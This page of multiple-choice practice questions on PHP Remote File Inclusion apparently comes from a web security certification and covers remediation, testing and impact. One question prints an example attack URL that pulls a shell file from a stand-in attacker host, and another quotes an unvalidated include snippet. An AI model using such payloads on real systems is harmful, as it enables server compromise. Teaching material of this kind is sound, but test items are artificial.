Remote File Inclusion (RFI) WAHS Practice Questions (Page 1)

Questions 1–5

1. 1application · medium

   A security audit finds an RFI vulnerability in a PHP application. The code is: $page = $_GET['page']; include('templates/' . $page);. The application is mission-critical and cannot be taken offline. Which remediation is most appropriate?

   • AApply a hotfix that validates the 'page' parameter against a whitelist of allowed template names.
   • BDeploy a WAF rule that blocks 'http' and '://' in the 'page' parameter.
   • CDo nothing because the application is behind a firewall.
   • DImmediately disable allow_url_include in php.ini and restart the web server.
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2. 2foundation · easy

   Which of the following actions is the most direct way to test whether a parameter is vulnerable to Remote File Inclusion?

   • ASubmit a SQL injection payload and observe if the application returns database errors.
   • BSubmit a local file path like /etc/passwd and see if the file contents are displayed.
   • CSubmit a URL to a file you control on an external server and observe if the application fetches and executes it.
   • DSubmit a long string of characters and observe if the application returns an error message.
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4. 3foundation · easy

   An attacker exploits an RFI vulnerability by supplying the following URL: http://victim.com/index.php?page=http://attacker.com/shell.txt. What is the most likely outcome if the attack succeeds?

   • AThe server will display the contents of shell.txt as plain text to the user.
   • BThe server will fetch shell.txt and execute its contents as PHP code, giving the attacker a web shell or arbitrary command execution.
   • CThe server will redirect the user to attacker.com and display the file there.
   • DThe server will download shell.txt and store it in the web root, making it accessible to anyone.
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5. 4application · medium

   A development team discovered that a legacy PHP application includes files based on a `theme` parameter without any validation. They need to remediate the vulnerability while minimizing changes to the application's existing functionality. Which remediation is most effective?

   • ADisable `allow_url_include` in php.ini.
   • BEscape the parameter with `htmlspecialchars()` before including it.
   • CUse `realpath()` to validate the resolved path is within the theme directory.
   • DMaintain an allowlist of valid theme names and map the parameter to a fixed local path.
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6. 5foundation · easy

   What is the most severe potential impact of an RFI vulnerability if successfully exploited?

   • AThe attacker can execute arbitrary code on the server, potentially leading to full server compromise.
   • BThe attacker can read sensitive local files such as /etc/passwd.
   • CThe attacker can steal session cookies from other users.
   • DThe attacker can cause a denial of service by including a very large remote file.
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